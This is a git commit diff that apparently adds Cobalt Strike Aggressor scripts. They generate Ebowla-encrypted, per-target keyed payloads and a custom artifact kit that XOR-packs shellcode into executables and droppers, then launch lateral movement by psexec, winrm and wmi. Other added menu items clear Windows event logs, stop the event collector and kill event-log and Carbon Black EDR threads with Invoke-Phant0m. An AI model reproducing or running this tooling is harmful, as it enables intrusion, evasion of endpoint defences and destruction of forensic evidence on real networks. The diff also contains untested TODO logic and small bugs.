Merge branch 'ebowla-interop'

This commit is contained in:
Jonathan Echavarria
2017-08-24 13:05:12 -04:00
5 changed files with 1568 additions and 57 deletions
+265 -37
View File
@@ -1,9 +1,9 @@
# The beginning of integration with Ebowla
# Integration with Ebowla
# Put ebwola.py in your path, for example:
# ln -s /opt/Ebowla/ebowla.py /usr/bin/ebowla.py
# ln -s /opt/Ebowla/ebowla.py /usr/bin/ebowla.py
# You can generate a payload by clicking on Attacks -> Generate Ebowla Payload, just follow the instructions
#
# Some more work could be done to make this better, but for now, I'm just going to assume you have ebowla installed in /opt/Ebowla
# Some more work could be done to make this better
# - @Und3rf10w 20170228
sub ebowlaHelperConfigPopup {
@@ -107,7 +107,7 @@ sub ebowlaHelperConfigPopup {
} else {
[$comboBoxPayload setModel: $payloadTypeModelGo];
}
})];
},)];
[$payloadTypePanel add: $comboBoxPayload];
@@ -207,47 +207,92 @@ sub dialog {
[$dialog setLocationRelativeTo: $__frame__];
return $dialog;
}
# Artifacts this will replace:
# artifact32.dll
# artifact32.exe
# artifact64.dll
# artifact64.exe
# dropper32.exe
sub saveEbowlaConfig {
# Saves the ebowla configuration, calls ebowla, generates the payload, remove the config, then exits. Returns the payload:
# saveEbowlaConfig(<path to input payload>, <output payload type>, <key iterations>, <minus bytes>, <payload type>, <Encryption Type>, <Rest of configuration>);
#
# This is made as a sub so that these can be dynamically generated later
# This will not modify the stageless payloads, uac bypass payloads, or service binaries. Finally, it'll only modify them when used through the target menu, and automatically unload them afterwards
# Set the arguments
$inputPath = $1;
$outputPayloadType = $2;
$keyIter = $3;
$minusBytes = $4;
$payloadType = $5;
$encType = $6;
$ebowlaConfig = $7;
sub generateEbowlaPayloads{
# Returns a hash of the type of payload, and the path to the payloads
# EXE will return both EXE (for 32 bit), and EXE_64 (for 64 bit)
%ebowlaValues = $1;
%returnPayloadPaths = %();
@payloadTypes = @("DLL_x86", "DLL_x64", "FILE_DROP", "EXE");
foreach $payloadType (@payloadTypes){
# iterate through each $env_var in %ebowlaValues
# Append each one to the config.
# Generate the temporary ebowla config
$handle = openf(">ebowlatmpconfig.config");
println($handle, "[Overall]");
println($handle, "\tEncryption_Type = ENV");
println($handle, "\toutput_type = powershell");
println($handle, "\tminus_bytes = 1");
println($handle, "\tpayload_type = " . $payloadType);
println($handle, "\tkey_iterations = 11337");
println($handle, "\tclean_output = True");
# include default otp settings just in case
println($handle, "[otp_settings]\n\totp_type = key\n\tpad='cmd.exe'\n\tpad_max = 0xffffff\n\tscan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\tbyte_width = 9");
println($handle, "[symmetric_settings_win]\n\t[[ENV_VAR]]");
foreach $env_var (keys(%ebowlaValues)) {
foreach $value (values(%ebowlaValues, $env_var)){
println($handle, "\t\t" . $env_var . " = " . "'" . $value . "'");
}
}
# Include remaining symmetric_settings_win
println($handle, "\t[[PATH]]\n\t\tpath=''");
# Generate the temporary ebowla config
$handle = openf(">ebowlatmpconfig.config");
println($handle, "[Overall]");
println($handle, "\tEncryption_Type = " . $encType);
println($handle, "\toutput_type = " . $outputPayloadType);
println($handle, "\tminus_bytes = " . $minusBytes);
println($handle, "\tpayload_type = " . $payloadType);
println($handle, "\tkey_iterations = " . $keyIter);
println($handle, "\tclean_output = True\n");
println($handle, $ebowlaConfig);
# Select a random startpath from possible startpaths, just to introduce a little more entropy
@startpaths = @('%HOMEPATH', '%USERPROFILE', '%SYSTEMDRIVE%%HOMEPATH%', '%TEMP%', '%SYSTEMDRIVE%\\');
$startpath = rand(@startpath);
println($handle, "\tstart_loc = '" . $startpath . "'");
println($handle, "[[IP_RANGES]]\n\texternal_ip_mask = ''\n\t[[SYSTEM_TIME]]\n\tTime_Range = ''");
closef($handle);
if ($payloadType eq "DLL_x64"){
$inputPath = "ebowladx64.ps1";
} else if ($payloadType eq "EXE"){
$inputPath = "ebowladx64.ps1";
add(%returnPayloadPaths, EXE_64 => wait(processEbowlaConfig($inputPath)));
$inputPath = "ebowladx86.ps1";
} else {
$inputPath = "ebowladx86.ps1";
}
wait(processEbowlaConfig($inputPath));
add(%returnPayloadPaths, $payloadType => wait(processEbowlaConfig($inputPath)));
}
return %returnPayloadPaths;
}
sub saveNLoadArtifactCNA{
# Save
mkdir("/tmp/fullbowla/");
$data = "# Artifact Kit Integration Script\n\n# Windows Executables and DLLs\n#\n# Arguments\n# \t\$1 = artifact file (e.g., artifact32.exe)\n# \t\$2 = shellcode\n# Return \n#\tour generated artifact\nset EXECUTABLE_ARTIFACT_GENERATOR {\n\tlocal('\$handle \$data \$key \$index \$payload \$resource \$buffer \$b \$x');\n\n\t(\$resource, \$payload) = @_;\n\n\t# try again or use the default artifact... I don't have it!\n\tif (!-exists script_resource(\$resource)) {\n\t\treturn \$null;\n\t}\n\n\t# read in the executable template\n\t\$handle = openf(script_resource(\$resource));\n\t\$data = readb(\$handle, -1);\n\tclosef(\$handle);\n\n\t# generate a random key\n\t\$key = @();\n\t\$key[0] = int(rand() * 253) + 1;\n\t\$key[1] = int(rand() * 253) + 1;\n\t\$key[2] = int(rand() * 253) + 1;\n\t\$key[3] = int(rand() * 253) + 1;\n\n\t# find the location of our data in the executable\n\t\$index = indexOf(\$data, 'A' x 1024);\n\n\t# pack data into a buffer \n\t\$buffer = allocate(1024);\n\n\t# [offset of payload data in binary] - 4 bytes\n\twriteb(\$buffer, pack(\"i-\", \$index + 16));\n\n\t# [length of payload] - 4 bytes\n\twriteb(\$buffer, pack(\"i-\", strlen(\$payload)));\n\n\t# [xor key] - 4 bytes\n\twriteb(\$buffer, chr(\$key[0]) );\n\twriteb(\$buffer, chr(\$key[1]) );\n\twriteb(\$buffer, chr(\$key[2]) );\n\twriteb(\$buffer, chr(\$key[3]) );\n\n\t# [padding] - 4 bytes\n\twriteb(\$buffer, 'aaaa');\n\n\t# pack our encoded payload into the buffer\n\tfor (\$x = 0; \$x < strlen(\$payload); \$x++) {\n\t\twriteb( \$buffer, chr( (byteAt(\$payload, \$x) ^ \$key[\$x % 4]) & 0xFF ) );\n\t}\n\n\t# retrieve the contents of the buffer.\n\tclosef(\$buffer);\n\t\$b = readb(\$buffer, -1);\n\n\t# return our encoded shellcode.\n\treturn replaceAt(\$data, \"\$[1024]b\", \$index);\n}\n\n# Attacks -> Packages -> Windows Dropper\n# \n# Arguments\n# \t\$1 = our previously patched executable\n# \$2 = local path to file to include in the dropper.\n# \$3 = name of file to drop to disk\n# Return \n#\tour generated Windows dropper artifact\nset DROPPER_ARTIFACT_GENERATOR {\n\tlocal('\$handle \$dropme \$file \$data \$blob \$index \$dropas');\n\n\t(\$data, \$file, \$dropas) = @_;\n\n\t# open the file to drop\n\t\$handle = openf(\$file);\n\t\$dropme = readb(\$handle, -1);\n\tclosef(\$handle);\n\n\t# pack some info that the dropper will use\n\t\t\t\t# length of dropped file name + NULL terminator\n\t\t\t\t\t\t# length of dropped data\n\t\$blob = pack(\"i-i-\", strlen(\$dropas) + 1, strlen(\$dropme));\n\n\t# locate our patch location...\n\t\$index = indexOf(\$data, 'DROPPER!');\n\n\t# patch our exe with the info\n\t\$data = replaceAt(\$data, \$blob, \$index);\n\n\t# return our assembled file please\n\treturn \$data . \"\$dropas \$+ \\x00\" . \$dropme;\n}\n";
$handle = openf(">/tmp/fullbowla/ebowlaArtifact.cna");
println($handle);
closef($handle);
# N load
include("ebowlaArtifact.cna");
}
# Call ebowla and generate the payload:
# This assumes that ebowla is in your $PATH as ebowla.py. I don't have a good workaround for this.
sub processEbowlaConfig{
#1 = path to the input payload
local("$inputPath");
$inputPath = $1;
$genEbowlaPayload = exec("ebowla.py " . $inputPath . " ebowlatmpconfig.config");
@pushPayloadGen = readAll($genEbowlaPayload);
# Remove the generated config
# Wait up to 10 seconds for the payload to be generated.
$returnValue = wait($genEbowlaPayload, 10 * 1000);
if ($returnValue == 0) {
$answer = search(@pushPayloadGen, &vaildPathCriteria);
if ($answer ne $null){
@generatedPathArray = split(': ', $answer, 2);
show_message("Payload has been generated at: " . cwd() . "/output/" . @generatedPathArray[1]);
$rtnPayload = cwd() . "/output/" . @generatedPathArray[1];
}
closef($genEbowlaPayload);
} else {
@@ -255,16 +300,199 @@ sub saveEbowlaConfig {
show_error("Something went wrong when trying to generate payload. Please see Script Console for more info");
closef($genEbowlaPayload);
}
# remove the generated config
deleteFile("ebowlatmpconfig.config");
return $rtnPayload;
}
sub vaildPathCriteria{
return iff("[*] Writing" isin $1, "$1", $null);
}
sub getTargetValue{
# $1 = Target IP address
# $2 = Value to return (address, os, name, version)
local('$provided_target $desired_value');
$provided_target = $1;
$desired_value = $2;
$target_list = data_query("targets");
foreach $target ($target_list){
if ($target['address'] eq $provided_target) {
return ($target[$desired_value]);
}
}
}
sub generateInitalArtifact{
local('$data $listener');
# Have the user select a listener from listeners_local(), which returns an array of listener names
$data = artifact($listener, "powershell", true, "x86");
$handle = openf(">ebowladx86.ps1");
writeb($handle, $data);
closef($handle);
$data = artifact($listener, "powershell", true, "x64");
$handle = openf(">ebowladx64.ps1");
writeb($handle, $data);
closef($handle);
}
sub executeJump{
# You'll have DLL_x64, DLL_x86, EXE, EXE_64, and FILE_DROP
foreach $payloadType (keys(%ebowlaPayloads)) {
foreach $payloadPath (values(%ebowlaPayloads)) {
if ($payloadType eq "DLL_x64") {
wait(mv($payloadPath, "/tmp/fullbowla/artifact64.dll"));
} else if ($payloadType eq "DLL_x86") {
wait(mv($payloadPath, "/tmp/fullbowla/artifact32.dll"));
} else if ($payloadType eq "EXE_x64") {
wait(mv($payloadPath, "/tmp/fullbowla/artifact64.exe"));
} else if ($payloadType eq "EXE_x86") {
wait(mv($payloadPath, "/tmp/fullbowla/artifact32.exe"));
} else {
wait(mv($payladPath, "/tmp/fullbowla/dropper32.exe"));
}
}
}
include("/tmp/fullbowla/ebowlaArtifact.cna");
openPayloadDialog($jmpType, $target);
}
sub rmrf{
# executes a rm -rf on $1 (no user modifiable input should taken when using this...)
$process = exec("rm -rf " . $1);
@data = readAll($process);
closef($process);
}
sub mv{
# executes a mv of $1 to $2 (no user modifiable input should taken when using this...)
$process = exec("mv " . $1 . " " . $2);
@data = readAll($process);
closef($process);
}
popup targets{
# General workflow here:
# 1. Generate a 32-bit and 64-bit powershell payloads through cobalt strike
# 2. load the payload into ebowla and generate as many artifacts as possible (DLL_x86, DLL_x64, EXE), using values grabbed from targets
# 3. load new artifacts
# 4. execute the desired action (psexec, etc) (see default.cna)
# 5. unload new artifacts
# 6. Repeat steps 1-5 for each selected target
# $1 selected host
menu "Login (Ebowla)" {
item "psexec" {
local('$target $target_list $target_name $target_username $target_domain $jmpType');
$jmpType = "psexec";
foreach $target ($1) {
$target_name = wait(getTargetValue($target, "name"));
# TODO: Determine how to grab username and domain from selected login
# $target_username =
# $target_domain =
wait(generateInitalArtifact());
# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
%ebowlaValues = %(computername => $target_name);
# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
wait(saveNLoadArtifactCNA());
# For execution of what was requested and wait for it to finish
# Forking will create a new thread and script environment to ensure we
# don't have any issue loading the new artifact kit
# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
# have to wait until each target selected responds to a response from openJumpDialog?
# The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
# instead of the norm where they just select one jump and it applies to every target.
$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
wait($handle);
wait(rmrf("/tmp/fullbowla"));
}
}
item "psexec (psh)" {
local('$target $target_list $target_name $target_username $target_domain $jmpType');
$jmpType = "psexec_psh";
foreach $target ($1) {
$target_name = wait(getTargetValue($target, "name"));
# TODO: Determine how to grab username and domain from selected login
# $target_username =
# $target_domain =
wait(generateInitalArtifact());
# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
%ebowlaValues = %(computername => $target_name);
# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
wait(saveNLoadArtifactCNA());
# For execution of what was requested and wait for it to finish
# Forking will create a new thread and script environment to ensure we
# don't have any issue loading the new artifact kit
# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
# have to wait until each target selected responds to a response from openJumpDialog?
# The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
# instead of the norm where they just select one jump and it applies to every target.
$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
wait($handle);
wait(rmrf("/tmp/fullbowla"));
}
}
item "winrm" {
local('$target $target_list $target_name $target_username $target_domain $jmpType');
$jmpType = "winrm";
foreach $target ($1) {
$target_name = wait(getTargetValue($target, "name"));
# TODO: Determine how to grab username and domain from selected login
# $target_username =
# $target_domain =
wait(generateInitalArtifact());
# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
%ebowlaValues = %(computername => $target_name);
# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
wait(saveNLoadArtifactCNA());
# For execution of what was requested and wait for it to finish
# Forking will create a new thread and script environment to ensure we
# don't have any issue loading the new artifact kit
# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
# have to wait until each target selected responds to a response from openJumpDialog?
# The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
# instead of the norm where they just select one jump and it applies to every target.
$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
wait($handle);
wait(rmrf("/tmp/fullbowla"));
}
}
item "wmi (psh)"{
local('$target $target_list $target_name $target_username $target_domain $jmpType');
$jmpType = "psexec_psh";
foreach $target ($1) {
$target_name = wait(getTargetValue($target, "name"));
# TODO: Determine how to grab username and domain from selected login
# $target_username =
# $target_domain =
wait(generateInitalArtifact());
# %ebowlaValues = %(computername => $target_name, username => $target_username, userdomain => $target_domain);
%ebowlaValues = %(computername => $target_name);
# Generates the Ebowla Payloads and artifact kit, and loads the newly-generated artifact kit.
%ebowlaPayloads = wait(generateEbowlaPayloads(%ebowlaValues));
wait(saveNLoadArtifactCNA());
# For execution of what was requested and wait for it to finish
# Forking will create a new thread and script environment to ensure we
# don't have any issue loading the new artifact kit
# TODO: As I haven't tested up to this point yet, there could be a bug here if a user were to select multiple targets. Would this fork it off, or would we
# have to wait until each target selected responds to a response from openJumpDialog?
# The other problem with this logic is that if you have multiple targets selected, then the user will have to use the Jump Dialog for every single target,
# instead of the norm where they just select one jump and it applies to every target.
$handle = fork(&executeJump, $jmpType => $jmpType, $target => $target, %ebowlaPayloads => %ebowlaPayloads);
wait($handle);
wait(rmrf("/tmp/fullbowla"));
}
}
}
}
popup attacks{
item ("Generate Ebowla Payload", {
ebowlaHelperConfigPopup();
});
});
}
sub vaildPathCriteria{
return iff("[*] Writing" isin $1, "$1", $null);
}
+41 -20
View File
@@ -3,27 +3,38 @@
popup beacon_bottom {
menu "AntiForensicsKit" {
item "Clear System Event Logs (psh)"{
local('$bid');
foreach $bid ($1){
binput($1, "powershell gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
bpowershell($1, "gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
menu "Event Log Management" {
item "Clear System Event Logs (psh)"{
local('$bid');
foreach $bid ($1){
binput($1, "powershell gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
bpowershell($1, "gcim -CimSession $CimSession -ClassName Win32_NTEventlogFile | icim -MethodName ClearEventLog");
}
}
}
item "Stop Windows Event Collector svc"{
local('$bid');
foreach $bid ($1){
binput($1, "sc stop wecsvc");
bshell($1, "sc stop wecsvc");
item "Stop Windows Event Collector svc"{
local('$bid');
foreach $bid ($1){
binput($1, "sc stop wecsvc");
bshell($1, "sc stop wecsvc");
}
}
}
item "Check VM" {
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Check-VM.ps1");
bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Check-VM.ps1"));
binput($1, "powershell Check-VM");
bpowershell($1, "Check-VM");
item "Check VM" {
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Check-VM.ps1");
bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Check-VM.ps1"));
binput($1, "powershell Check-VM");
bpowershell($1, "Check-VM");
}
}
item "Kill Event Log Threads with Invoke-Phant0m" {
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Invoke-Phant0m.ps1");
bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Invoke-Phant0m.ps1"));
binput($1, "powershell Invoke-Phant0m -processname eventlog -threadfilter evt");
bpowershell($1, "Invoke-Phant0m -processname eventlog -threadfilter evt");
}
}
}
menu "Prefetch Management" {
@@ -62,6 +73,16 @@ popup beacon_bottom {
bpowershell($bid, "Restore-CarbonBlack");
}
}
item "Kill Kill Carbon Black Threads with Invoke-Phant0m" {
local('$bid');
foreach $bid ($1){
binput($1, "powershell-import Invoke-Phant0m.ps1");
bpowershell_import($1, script_resource("AntiForensicsKit/scripts/Invoke-Phant0m.ps1"));
binput($1, "powershell Invoke-Phant0m -processname CarbonBlack -threadfilter cb");
bpowershell($1, "Invoke-Phant0m -processname CarbonBlack -threadfilter cb");
}
}
}
}
}
}
File diff suppressed because it is too large Load Diff
+7
View File
@@ -201,6 +201,13 @@ alias !iscsadmin{
}
}
# This alias shows the process tree for the beacon
alias !bproctree{
blog($1, "Generate this beacon's process tree...")
$b_pid = beacon_info($1, "pid");
@ps_arry = wait(bps($1, &pstreeBpsArray));
}
popup beacon_bottom {
menu "DebugKit" {
item "Notify at next check-in"{
+167
View File
@@ -0,0 +1,167 @@
# Sleep Webservice Utilities
#
# To use this:
# include('webservice.sl');
#
# debug(7 | 34) highly recommended
#
# Functions:
#
# $ post("url", %hash)
# connects to "url", posts the data in the hash, returns a handle for reading
#
# % buildDataStructure("<xml>...</xml>");
# creates a sleep hash tree from the XML document. each node in the hash is:
# name => string : tagname
# text => string : raw content of the tag (may be a bunch of spaces)
# attributes => hash : attributes for the tag
# children => array : an array of nodes (with this same structure)
#
# childrenToHash(%element)
# constructs a hash out of an element's children... uses the tagnames for the
# keys and each element for the values.
#
# walkData(%data, %functions)
# walks through %data, calls the function held by %functions["tagName"] when
# a tag is encountered. Argument $1 to the function is the current node.
# uses a postorder traversal; children left to right, parent
#
# printNice(%data);
# pretty prints a sleep hash tree
#
# Dependencies:
#
# This code assumes the following jars are in your Java classpath:
#
# commons-codec-1.2.jar - http://archive.apache.org/dist/commons/codec/
# commons-httpclient-3.1.jar - http://hc.apache.org/downloads.cgi
# commons-logging-api.jar - http://archive.apache.org/dist/commons/logging/binaries/
# commons-logging.jar - http://archive.apache.org/dist/commons/logging/binaries/
# jdom.jar - http://www.jdom.org
#
# Contact:
#
# Raphael Mudge (rsmudge@gmail.com)
#
# Release 15 Jul 08
#
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.HttpStatus;
import org.apache.commons.httpclient.methods.PostMethod;
import sleep.bridges.io.IOObject;
import org.jdom.*;
import org.jdom.input.*;
sub post
{
local('$client $method $key $value $code');
$client = [new HttpClient];
$method = [new PostMethod: $1];
foreach $key => $value ($2)
{
[$method addParameter: $key, $value];
}
$code = [$client executeMethod: $method];
if ($code != [HttpStatus SC_OK])
{
throw "Method failed: " . [$method getStatusLine];
}
return [SleepUtils getIOHandle: [$method getResponseBodyAsStream], $null];
}
sub buildDataStructure
{
local('$builder $doc $buffer');
$buffer = allocate(strlen($1));
writeb($buffer, $1);
closef($buffer);
$builder = [new SAXBuilder];
$doc = [$builder build: [$buffer getInputStream]];
closef($buffer);
return [{
local('$child %result');
%result["name"] = [$1 getName];
%result["text"] = [$1 getText];
%result["attributes"] = [{
local('$attr %result');
foreach $attr ([SleepUtils getArrayWrapper: $1])
{
%result[[$attr getName]] = [$attr getValue];
}
return %result;
}: [$1 getAttributes]];
%result["children"] = @();
foreach $child ([SleepUtils getArrayWrapper: [$1 getChildren]])
{
push(%result["children"], [$this: $child]);
}
return %result;
}: [$doc getRootElement]];
}
sub walkData
{
local('$child');
foreach $child ($1["children"])
{
walkData($child, $2);
}
invoke($2, @($1), $1["name"]);
}
sub childrenToHash
{
local('$child %results');
foreach $child ($1["children"])
{
%results[$child["name"]] = $child["text"];
}
return %results;
}
sub printNice
{
local('$k $v $2');
if (-isarray $1)
{
foreach $k => $v ($1)
{
println("$2 $+ $k $+ :");
printNice($v, "$2 ");
}
}
else if (-ishash $1)
{
foreach $k => $v ($1)
{
println("$2 $+ $k $+ :");
printNice($v, "$2 ");
}
}
else
{
println("$2 $+ $1");
}
}